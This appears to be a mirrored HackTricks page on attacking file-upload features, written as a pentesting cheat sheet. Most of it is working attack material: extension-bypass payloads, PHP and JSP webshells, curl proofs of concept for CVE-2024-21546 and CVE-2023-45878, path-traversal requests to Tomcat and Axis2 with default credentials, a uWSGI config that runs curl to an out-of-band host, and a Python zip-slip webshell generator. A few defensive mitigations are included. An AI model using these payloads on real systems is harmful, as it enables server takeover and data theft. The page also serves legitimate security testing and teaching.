daemon-sec-cheatsheet

overview.md (47729B)

---

 ---
 title: "File Upload"
 section: "Web Pentesting"
 sectionSlug: "pentesting-web"
 sourcePath: "src/pentesting-web/file-upload/README.md"
 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-upload/README.md"
 sha: "188de82beb54e70956b2952367a0af91d26758b8"
 isIndex: true
 modified: true
 license: "CC-BY-NC-4.0"
 ---
 
 # File Upload
 
 ## File Upload General Methodology
 
 Other useful extensions:
 
 - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
   - **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
 - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
 - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
 - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
 - **Flash**: _.swf_
 - **Perl**: _.pl, .cgi_
 - **Erlang Yaws Web Server**: _.yaws_
 
 ### Bypass file extensions checks
 
 1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
 2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
    - _file.png.php_
    - _file.png.Php5_
 3. Try adding **special characters at the end.** You can use Burp to **brute-force** ASCII and Unicode characters. (_You can also combine this with the previously mentioned extensions._)
    - _file.php%20_
    - _file.php%0a_
    - _file.php%00_
    - _file.php%0d%0a_
    - _file.php/_
    - _file.php.\\_
    - _file._
    - _file.php...._
    - _file.pHp5...._
 4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
    - _file.png.php_
    - _file.png.pHp5_
    - _file.php#.png_
    - _file.php%00.png_
    - _file.php\x00.png_
    - _file.php%0a.png_
    - _file.php%0d%0a.png_
    - _file.phpJunk123png_
 5. Add **another layer of extensions** to the previous check:
    - _file.png.jpg.php_
    - _file.php%00.png%00.jpg_
 6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code):
    - _ex: file.php.png_
 7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character ":” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. "file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The "**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.”)
 8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
 
    ```
    # Linux maximum 255 bytes
    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
    # Upload the file and use the response to determine how many characters it allows; assume 236
    python -c 'print "A" * 232'
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    # Make the payload
    AAA<--SNIP 232 A-->AAA.php.png
    ```
 
 #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
 
 Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:<sup>[[14]](#references)</sup><sup>[[15]](#references)</sup><sup>[[16]](#references)</sup>
 
 - Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
 - Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`.
 - The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`).
 
 Minimal PoC (Burp Repeater):
 
 ```http
 POST /profile/avatar HTTP/1.1
 Host: target
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
 
 ------WebKitFormBoundary
 Content-Disposition: form-data; name="upload"; filename="0xdf.php."
 Content-Type: image/png
 
 \x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
 ------WebKitFormBoundary--
 ```
 
 Then hit the saved path (typical in Laravel + LFM):
 
 ```text
 GET /storage/files/0xdf.php?cmd=id
 ```
 
 ### Bypass Content-Type, Magic Number, Compression & Resizing
 
 - Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
   1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 - Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
   `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
   `\` or you could also **introduce the payload directly** in an image:\
   `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
 - If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.<sup>[[26]](#references)</sup>
   - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
 - The application may also **resize the image** with PHP-GD functions such as `imagecopyresized` or `imagecopyresampled`. The **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) can insert text that **survives resizing**.<sup>[[26]](#references)</sup>
   - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
 - Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.<sup>[[26]](#references)</sup>
   - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Other Tricks to check
 
 - Find a vulnerability to **rename** the file already uploaded (to change the extension).
 - Find a **Local File Inclusion** vulnerability to execute the backdoor.
 - **Possible Information disclosure**:
   1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
   2. Upload a file with the **name** of a **file** or **folder** that **already exists**
   3. Uploading a file with **"." , "..", or "…" as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/" directory, the "." filename will create a file called 
   uploads” in the "/www/" directory.
   4. Upload a file that may not be deleted easily such as **"…:.jpg"** in **NTFS**. (Windows)
   5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
   6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
 - Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
 
 ### Special extension tricks
 
 If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
 If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](/hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services#execute-config-files).
 
 The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
 
 The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
 
 ## **Jetty RCE**
 
 If you can upload an XML file into a Jetty server, you may obtain [RCE because **new `*.xml` and `*.war` files are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1). As shown below, place the XML file in `$JETTY_BASE/webapps/` and trigger its processing.
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281047%29.png)
 
 ## **uWSGI RCE**
 
 For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).<sup>[[6]](#references)</sup>
 
 Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
 
 Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
 
 ```ini
 [uwsgi]
 ; read from a symbol
 foo = @(sym://uwsgi_funny_function)
 ; read from binary appended data
 bar = @(data://[REDACTED])
 ; read from http
 test = @(http://[REDACTED])
 ; read from a file descriptor
 content = @(fd://[REDACTED])
 ; read from a process stdout
 body = @(exec://whoami)
 ; curl to exfil via collaborator
 extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
 
 The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
 
 It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
 
 ### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
 
 Unauthenticated endpoint in Gibbon LMS allows arbitrary file write inside the web root, leading to pre-auth RCE by dropping a PHP file. Vulnerable versions: up to and including 25.0.01.<sup>[[12]](#references)</sup>
 
 - Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
 - Method: POST
 - Required params:
   - `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail)
   - `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
   - `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
 
 Minimal PoC to write and read back a file:
 
 ```bash
 # Prepare test payload
 printf '0xdf was here!' | base64
 # => MHhkZiB3YXMgaGVyZSEK
 
 # Write poc.php via unauth POST
 curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
   -d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
 
 # Verify write
 curl http://target/Gibbon-LMS/poc.php
 ```
 
 Drop a minimal webshell and execute commands:
 
 ```bash
 # '<?php system($_GET["cmd"]); ?>' base64
 # PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
 
 curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
   -d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
 
 curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
 ```
 
 Notes:
 - The handler performs `base64_decode($_POST["img"])` after splitting by `;` and `,`, then writes bytes to `$absolutePath . '/' . $_POST['path']` without validating extension/type.
 - Resulting code runs as the web service user (e.g., XAMPP Apache on Windows).
 
 References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.<sup>[[10]](#references)</sup><sup>[[11]](#references)</sup>
 
 ## **wget File Upload/SSRF Trick**
 
 Sometimes a server uses **`wget`** to **download a user-supplied URL** while checking the apparent filename extension against an allow-list. This check may be bypassed.\
 Linux filenames are generally limited to **255 bytes**, while affected `wget` behavior truncates the local filename to **236 characters**. A remote name such as `"A"*232+".php"+".gif"` passes an allow-list that accepts `.gif`, but truncation can leave the local name ending in `.php`.
 
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
 python3 -m http.server 9080
 ```
 
 ```bash
 #Download the file
 wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
 The name is too long, 240 chars total.
 Trying to shorten...
 New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
 --2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
 Connecting to 127.0.0.1:9080... connected.
 HTTP request sent, awaiting response... 200 OK
 Length: 10 [image/gif]
 Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
 
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
 
 Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
 
 ### Escaping upload directory via NTFS junctions (Windows)
 
 (For this attack you will need local access to the Windows machine) When uploads are stored under per-user subfolders on Windows (e.g., C:\Windows\Tasks\Uploads\<id>\) and you control creation/deletion of that subfolder, you can replace it with a directory junction pointing to a sensitive location (e.g., the webroot). Subsequent uploads will be written into the target path, enabling code execution if the target interprets server‑side code.<sup>[[17]](#references)</sup>
 
 Example flow to redirect uploads into XAMPP webroot:
 
 ```batch
 :: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
 ::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
 
 :: 2) Remove the created folder and create a junction to webroot
 rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
 cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
 
 :: 3) Re-upload your payload; it lands under C:\xampp\htdocs
 ::    Minimal PHP webshell for testing
 ::    <?php echo shell_exec($_REQUEST['cmd']); ?>
 
 :: 4) Trigger
 curl "http://TARGET/shell.php?cmd=whoami"
 ```
 
 Notes
 - mklink /J creates an NTFS directory junction (reparse point). The web server’s account must follow the junction and have write permission in the destination.<sup>[[18]](#references)</sup>
 - This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
 - Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.
 
 ### GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
 
 Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).<sup>[[2]](#references)</sup>
 
 Generic exploitation flow:
 - Prepare your server-side payload (e.g., minimal JSP webshell) and gzip-compress the bytes.
 - Send a POST where a path parameter (e.g., token) contains traversal escaping the intended folder, and file indicates the filename to persist. Set Content-Type: application/octet-stream and Content-Encoding: gzip; the body is the compressed payload.
 - Browse to the written file to trigger execution.
 
 Illustrative request:
 
 ```http
 POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
 Host: target
 Content-Type: application/octet-stream
 Content-Encoding: gzip
 Content-Length: <len>
 
 <gzip-compressed-bytes-of-your-jsp>
 ```
 
 Then trigger:
 
 ```http
 GET /jsp/shell.jsp?cmd=id HTTP/1.1
 Host: target
 ```
 
 Notes
 - Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
 - Burp Suite’s Hackvertor extension can produce a correct gzip body from your payload.
 - This is a pure pre-auth arbitrary file write → RCE pattern; it does not rely on multipart parsing.
 
 Mitigations
 - Derive upload destinations server-side; never trust path fragments from clients.
 - Canonicalize and enforce that the resolved path stays within an allow-listed base directory.
 - Store uploads on a non-executable volume and deny script execution from writable paths.
 
 ### Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)
 
 Axis2-based upload services sometimes expose an `uploadFile` SOAP action that takes three attacker-controlled fields: `jobDirectory` (destination directory), `archiveName` (filename), and `dataHandler` (base64 file content). If `jobDirectory` is not canonicalized, you get arbitrary file write via path traversal and can land a JSP in Tomcat’s webapps.<sup>[[20]](#references)</sup>
 
 Minimal request outline (default creds often work: `admin` / `trubiquity`):
 
 ```http
 POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
 Host: 127.0.0.1
 Content-Type: text/xml
 
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
   <soapenv:Body>
     <updw:uploadFile>
       <updw:login>admin</updw:login>
       <updw:password>trubiquity</updw:password>
       <updw:archiveName>shell.jsp</updw:archiveName>
       <updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
       <updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
     </updw:uploadFile>
   </soapenv:Body>
 </soapenv:Envelope>
 ```
 
 - Bindings are often localhost-only; pair with a full-read SSRF (absolute-URL request line, Host header ignored) to reach `127.0.0.1` if the Axis2 port isn’t exposed.
 - After writing, browse to `/trufusionPortal/jsp/shell.jsp?cmd=id` to execute.
 
 
 ### Auto-handled HTML file inputs in crawlers / browser automation → local arbitrary file write
 
 Some **browser-powered crawlers** and automation frameworks try to interact with discovered `<input type="file">` elements by **creating a local temporary file** and automatically selecting it in the browser. If the local filename is derived from **page-controlled metadata** such as `accept`, `name`, or `value`, the target website can turn ordinary crawling into a **local arbitrary file write**.<sup>[[21]](#references)</sup>
 
 Typical vulnerable flow:
 
 1. The crawler discovers a file input and decides to auto-populate it.
 2. It derives a **local filename** from attacker-controlled HTML attributes.
 3. It writes attacker-controlled bytes to that path.
 4. It calls a browser API such as `selectFile()` on the generated path.
 
 If the implementation accepts any `accept` token starting with `.` as a harmless extension, a payload like `./../../../../target/path/payload.bat` may bypass the check while still carrying **path traversal**. When this string is later passed to `Path.resolve()` / `Path.Combine()` without canonicalization and a **"must stay under temp dir"** check, the final write can escape the temporary directory.
 
 Minimal malicious form:
 
 ```html
 <form action="/upload" method="post" enctype="multipart/form-data">
   <input type="file" name="upload"
          value="calc.exe"
          accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat">
 </form>
 ```
 
 In that pattern:
 
 - `value` becomes the **local file content** (`calc.exe` in the example).
 - `accept` becomes part of the **local filename/path**.
 - The result is an **attacker-controlled text file write** anywhere writable if the parent directory already exists.
 
 A practical Windows chain is to target the current user's **Startup** folder so the dropped `.bat` executes on the next logon:
 
 ```text
 C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat
 ```
 
 This is not limited to Burp. Apply the same review to **headless browsers**, **web security scanners**, **test automation**, **RPA bots**, and any tool that processes hostile pages while trying to be "helpful" with file uploads.
 
 Quick audit checklist:
 
 - Never reuse HTML attributes as filesystem paths.
 - Reject `/`, `\\`, `..`, drive letters, UNC prefixes, and absolute paths.
 - Generate the temp filename server-side/tool-side.
 - Canonicalize the final path and verify it still starts with the intended base directory before writing.
 - Treat any auto-filled file input as a potential **local file write sink**, not just a browser interaction.
 
 
 ## Tools
 
 - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
 - [PayloadsAllTheThings file-upload payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) provide a broad manual-testing checklist.<sup>[[3]](#references)</sup>
 - [mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) automates upload mutation from Burp Suite.<sup>[[4]](#references)</sup>
 - [fuxploider](https://github.com/almandin/fuxploider) scans and tests common file-upload validation weaknesses.<sup>[[5]](#references)</sup>
 
 ### Corrupting upload indices with snprintf quirks (historical)
 
 Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.<sup>[[13]](#references)</sup>
 
 ### GeoNetwork formatter upload to XSLT execution
 
 [Geonetwork](/hacktricks/network-services-pentesting/pentesting-web/geonetwork)
 
 ## From File upload to other vulnerabilities
 
 - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
 - Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
 - Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
 - Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](/hacktricks/pentesting-web/command-injection))
 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 - [**XXE in svg upload**](/hacktricks/pentesting-web/xxe-xee-xml-external-entity#svg-file-upload)
 - [**Open Redirect** via uploading svg file](/hacktricks/pentesting-web/open-redirect#open-redirect-uploading-svg-files)
 - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 - If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
 - [**XXE and CORS** bypass with PDF-Adobe upload](/hacktricks/pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass)
 - Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](/hacktricks/pentesting-web/xss-cross-site-scripting/pdf-injection). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
 - Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
 - Check if there is any **size limit** uploading files
 
 Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: Stored XSS / SSRF / XXE
 3. **GIF**: Stored XSS / SSRF
 4. **CSV**: CSV injection
 5. **XML**: XXE
 6. **AVI**: LFI / SSRF
 7. **HTML / JS** : HTML injection / XSS / Open redirect
 8. **PNG / JPEG**: Pixel flood attack (DoS)
 9. **ZIP**: RCE via LFI / DoS
 10. **PDF / PPTX**: SSRF / BLIND XXE
 
 #### Burp Extension
 
 
 [Upload Scanner](https%3A//github.com/portswigger/upload-scanner)
 
 ## Magic Header Bytes
 
 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
 - **JPG**: `"\xff\xd8\xff"`
 
 Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
 
 ## Zip/Tar File Automatically decompressed Upload
 
 If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
 
 ### Symlink
 
 Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
 
 ```text
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
 tar -cvf test.tar symindex.txt
 ```
 
 ### Decompress in different folders
 
 The unexpected creation of files in directories during decompression is a significant issue. Despite initial assumptions that this setup might guard against OS-level command execution through malicious file uploads, the hierarchical compression support and directory traversal capabilities of the ZIP archive format can be exploited. This allows attackers to bypass restrictions and escape secure upload directories by manipulating the decompression functionality of the targeted application.
 
 An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
 
 ```python
 # Listing available options
 python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
 
 Additionally, the **symlink trick with evilarc** is an option. If the objective is to target a file like `/flag.txt`, a symlink to that file should be created in your system. This ensures that evilarc does not encounter errors during its operation.
 
 Below is an example of Python code used to create a malicious zip file:
 
 ```python
 #!/usr/bin/python
 import zipfile
 from io import BytesIO
 
 
 def create_zip():
     f = BytesIO()
     z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
     z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
     z.writestr('otherfile.xml', 'Content of the file')
     z.close()
     zip = open('poc.zip','wb')
     zip.write(f.getvalue())
     zip.close()
 
 create_zip()
 ```
 
 **Abusing compression for file spraying**
 
 For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)<sup>[[27]](#references)</sup>
 
 1.  **Creating a PHP Shell**: PHP code is written to execute commands passed through the `$_REQUEST` variable.
 
     ```php
     <?php
     if(isset($_REQUEST['cmd'])){
         $cmd = ($_REQUEST['cmd']);
         system($cmd);
     }?>
     ```
 
 2.  **File Spraying and Compressed File Creation**: Multiple files are created and a zip archive is assembled containing these files.
 
     ```bash
     root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
     root@s2crew:/tmp# zip cmd.zip xx*.php
     ```
 
 3.  **Modification with a Hex Editor or vi**: The names of the files inside the zip are altered using vi or a hex editor, changing "xxA" to "../" to traverse directories.
 
     ```bash
     :set modifiable
     :%s/xxA/../g
     :x!
     ```
 
